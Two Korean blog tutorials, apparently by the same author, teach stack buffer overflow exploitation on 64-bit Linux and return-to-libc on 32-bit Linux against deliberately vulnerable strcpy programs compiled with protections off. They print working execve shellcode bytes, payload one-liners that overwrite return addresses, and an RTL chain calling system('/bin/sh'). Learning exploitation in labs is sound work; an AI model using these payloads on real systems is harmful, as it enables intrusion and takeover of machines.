/* 
written by kaspy (kaspyx@gmail.com)
*/ 

버퍼 오버플로우 공격기법이 등장한지도 꽤오래되었지만 64비트에서 공략하는 문서는 그리 많지않아서 정리하게되었다.

그냥... 64비트는 그환경특성상 exploit 하기 여러모로 굉장히 더어려워졌다.


1. 쉘코드

우선은 간단한거부터 말하자면 (당연한거지만) 64비트 리눅스 ELF 바이너리에서는 64비트 쉘코드를 써야한다는것이다. 


32비트 같은 경우에는 eax 레지스터에 0xb를 넣고 ebx에 "/bin/sh"의 문자열의 주소, ecx,edx에는 0을 넣은뒤 int 0x80 어셈블리를 실행하면 쉘이 쉘이 떴다. 


그러나 64비트에서는 syscall 이라는 어셈블리를 사용하고 rdi에 0x3b를 넣고, rsi와 rdx에 0을 넣은뒤 호출해야 쉘이 뜬다. 그러니 64비트 리눅스용 쉘코드를 검색해서 사용하도록 하자.


여기서는 구글링하여 여기의 쉘코드를 참조하였다.


2. 접근 주소범위


64비트 환경의 레지스터 크기는 8바이트이며 레지스터도 다르다.


근데 무엇보다 사용자가 접근할수 있는 주소는 첫 47비트까지이다. 


BoF를 일으켜서 ret등을 조작할때 0x00007fffffffffff 까지 가능하며 그보다 큰값이 들어오면 프로그램 예외가 발생하여 에러로 종료하게 된다. strcpy 함수 취약점을 공략하려해도 널바이트때문에 많은 제약사항이 생겨버렸다. 어떻게보면 강제적으로 ASCII 아머가 탑재되있다고봐도 무방하다.


3. 버퍼 오버플로우 기본


취약코드 샘플은 아래와 같다.

테스트환경: Ubuntu Linux 16.04 

  1. #include <stdio.h>                                                                          
  2.  
  3. int main(int argc, char *argv[])
  4. {
  5.   puts("This is 64bit bof vulnerable program");
  6.   char buf[256];
  7.  
  8.   if ( argc < 2)
  9.   {
  10.     return -1;
  11.   }
  12.  
  13.   strcpy(buf, argv[1]);
  14.   printf("You entered %s\n", buf);
  15.  
  16.   return 0;
  17. }
  18. //gcc -o bof64 bof64.c -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack
  19. //sysctl -w kernel.randomize_va_space=0

우선 기본적인것을 연습해야하니 ASLR과 NX를 끄고 테스트를 끄고 테스트하도록 하겠다.

페이로드는 (NoP + Shellcode) (256byte) + RBP (8byte) + RSP (8byte)로 볼수있다.

gdb를 통해 264바이트를 가득 채워서 strcpy를 통해 저장되는 주소를 확인해보도록하자.

r `python -c 'print "a" * 264' + "aaaaaaaa"`



쉘코드의 주소는 0x7fffffffdfb0 으로 확인되었다.

즉 아래와같이 파이썬을 통해 페이로드를 입력해주면 쉘이뜬다.

r `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xb0\xdf\xff\xff\xff\x7f"'` 



 gdb 없이 실행해서 위의 Payload를 넣으면 실행되지 않을것이다. 왜냐하면 그냥 실행하면 gdb를 통해 실행하는것과 환경변수등이 달라서 쉘코드의 주소가 저장되는 버퍼의 주소가 달라지기 때문이다. 그러나 주소가 크게 달라지진 않으므로 gdb 주소 기준으로 주소를 증가시키면서 100바이트 내로 브루트포스하면 쉘이뜬다.  나는 아래와같이 gdb 기준으로 48 바이트 더했더니 쉘이 떳다.


./bof64 `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xe0\xdf\xff\xff\xff\x7f"'`



4. RTL(Return to Library), ROP(Return Oriendted Programming)


RTL 같은경우는 pop rdi, ret 의 가젯을 찾은다음에 rdi에 "/bin/sh"의 주소를 이어로는 ret의 주소에는 system 함수주소를 넣어주면 된다. 



(사용할 gadget의 주소들이 0x00007fffffffffff 이하로 전부 null이 포함되어있다.)


그러나 예제의 strcpy 취약코드로는 RTL, ROP 기법을 사용하기 어려워졌다. 


왜냐하면 우리가 주입하는 페이로드는 47비트까지만 덮을수있어서 반드시 널바이트가 여러번 포함 되는데 그렇게되면 반복적인 스테이징 기법에 필요한 Payload를 사용할수 없기때문이다. 그래서 (read 함수등으로 인한 취약점이 아니라면)위에서 언급한 예제로는 공략이 불가능에 가깝다고본다. 그래서 이기법에 대해서는 따로 다루어보도록하겠다.


혹시 아는분이 있다면 알려주면 고맙겠습니다... :)



* 참고 링크


- http://crypto.stanford.edu/~blynn/rop/

http://hikai.tistory.com/7

http://lesh.tistory.com/32

http://shell-storm.org/shellcode/files/shellcode-806.php (쉘코드)

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. 서론

RTL(Return to library) 기법이란, 버퍼오버플로우(Buffer Overflow, 이하 BOF) 취약점이 존재하는 프로그램을 익스플로잇 할때 해당 프로그램의 스택(stack) 영역에 실행 권한이 존재하지 않을때 프로그램이 사용하는 glibc 내에 존재하는 함수를 호출하는 기법이다.

요즘 대부분의 리눅스 및 윈도우 시스템은 NX 또는 DEP등으로 스택(stack) 영역에 실행 권한을 주고있지않고, 특별한 컴파일 옵션을 주어서만 실행권한을 줄수있는만큼 간단하면서도 자주 사용되는 방법이다.

포너블문제(pwnable)에서는 기본중에 기본이니 잘알아두도록하자.

* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 

2. 취약프로그램


BoF 취약점이 일어나는 프로그램의 소스코드는 아래와 같다. RTL을 공부하기위한것이니, Stack Canary와 ASLR 은 꺼두도록하자.

(32비트로 컴파일하기위해 -m32 옵션도 추가적으로 줬음)



  1. #include <stdio.h>
  2.  
  3. // sudo sysctl -w kernel.randomize_va_space=0
  4. // gcc -o vulnerability vulnerability.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   char buf[32];
  9.  
  10.   if ( argc < 2 )
  11.   {
  12.     return -1;
  13.   }
  14.   else{
  15.     strcpy(buf,argv[1]);
  16.     printf("You entered : %s\n",buf);
  17.   }
  18. }


gdb로 열은후 maps로 보면 아래와 같이 스택영역에 실행권한이 없는것을 확인할수 있다.



3. 스택에 쉘을 올려놓고 공격해보기


BoF 취약점을 가진 프로그램을 gdb로 실행하여 dissembly 하면 아래와 같이 나와진다. 

(gdb 유틸 peda를 사용하면 아래와같이 좀더 보기쉽게 나온다.)



버퍼의 사이즈는 32바이트로 a * 32 byte + ebp (4byte) + ret(4byte)로 생각할수있다.


그렇다면 스택 버퍼에 쉘을 때려넣고 ret를 버퍼의 주소로 수정하여 공격을 해보자.

(당연히 안되겠지만 시험삼아)


버퍼의 주소는 0xffffd3e8 으로 확인되어진다.(+32 지점에 브포걸고 확인)


Payload = (shellcode + dummy) 32byte + ebp (dummy) + 0xffffd3e8 (버퍼의 주소)


로 생각할수있겠다.


이걸 파이썬으로 하면


 python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'


처럼 나타낼수있고, gdb로 확인해보자.


gdb에서 입력하고싶다면 


r `python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'`


으로 해주면된다.



위와같이 실행하면 ret 하기전에 다음 스택포인터가 버퍼의 주소를 가리키고있는것을 확인할수 있다.


그러나 아래와같이 SIGSEGV 시그널 예외가 발생하여 쉘코드가 실행되지 않는다.



쉘을 띄우고 싶다면, 컴파일 옵션에 -z execstack 을 줘서 다시 컴파일해서 테스트해보면된다.


4. RTL(Return to Library)로 공략하기


다시 처음으로와서 이번에는 Return to Library 기법을 사용해서 공격을 해보도록하자.


쉘을 띄우기 위해 system 이라는 함수 주소를 확인해보자.



system 함수의 주소는 0xf7e43940 이다.


RTL을 이해하기위해선 함수 파라미터 호출에대해 어셈블리수준에서 간단히 이해할수 있어야한다.


예를들어


int func(int a, int b,int c)


가 있다면 어셈블리로 


push c

push b

push a

call func 


형식으로 호출이 이루어진다. 물론 함수 호출규약(Calling Convention)에따라 다를수있지만 glibc는 위와같은(cdecl) 방식이 사용된다.


func 함수가 실행될때는


pop a

pop b

pop c 


형태로 매개변수를 가져와서 함수기능에맞게 처리한다.


즉 아래와같이 argv1, argv2를 push 했다면 함수의 인자 순서는 아래와같다.




아래는 ret 하기전에 스택에 저장된 값인데



첫번째 빨간색 박스에 (0000) system의 함수주소를, 그리고 두번째 박스(0008) 에는 "/bin/sh"의 문자열의 주소를 넘겨주면 된다.


buf에 바로 /bin/sh를 넣어줘서 주소를 넘겨주던지 아니면 glibc에 저장되어있는 주소를 넘겨줘도된다.




아래는 exploit 코드이다.


./vulnerability `python -c 'print  "a"*32 + "b" * 4 +  "\x40\x39\xe4\xf7"+ "xxxx" + "\x8b\x1e\xf6\xf7"'` 



exit 를하면 segmentation 오류가 뜰것인데 그건 004 번지에 exit 함수를 넣어줘야 제대로 종료가 되는데 직접 해보기 바람.


RTL 기법의 한계점이 있다면 연속적인 Call Chain을 구성하기 어렵다는것이고, ASCII Armor 나 ASLR 이 걸려있을때에 사용하기 어렵다는 것등이있다.


RTL은 간단하면서도 유용할때가 많이있다. 


예를들어 Windows 환경의 DEP를 끄고 싶다면 SetProcessDEPPolicy() 함수(매개변수를 하나만 받는경우)를 사용하여 DEP를 disable한이후에 스택에 쉘코드를 실행하는경우 등을 들수있다.(단. DEP 모드가 Always ON/Off , 모듈이 NXCOMPAT으로 되어있을경우는 해당되지않음) 리눅스 환경 같은경우 mprotect() 함수를 사용하여 스택에 nx를 해제한후에 쉘코드를 띄울수도있다.



- 참조 내부 링크


 리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4

 버퍼오버플로우(Buffer Overflow) 해킹기법이란?? - http://kaspyx.kr/2

저작자 표시
신고
Posted by 캐스피


티스토리 툴바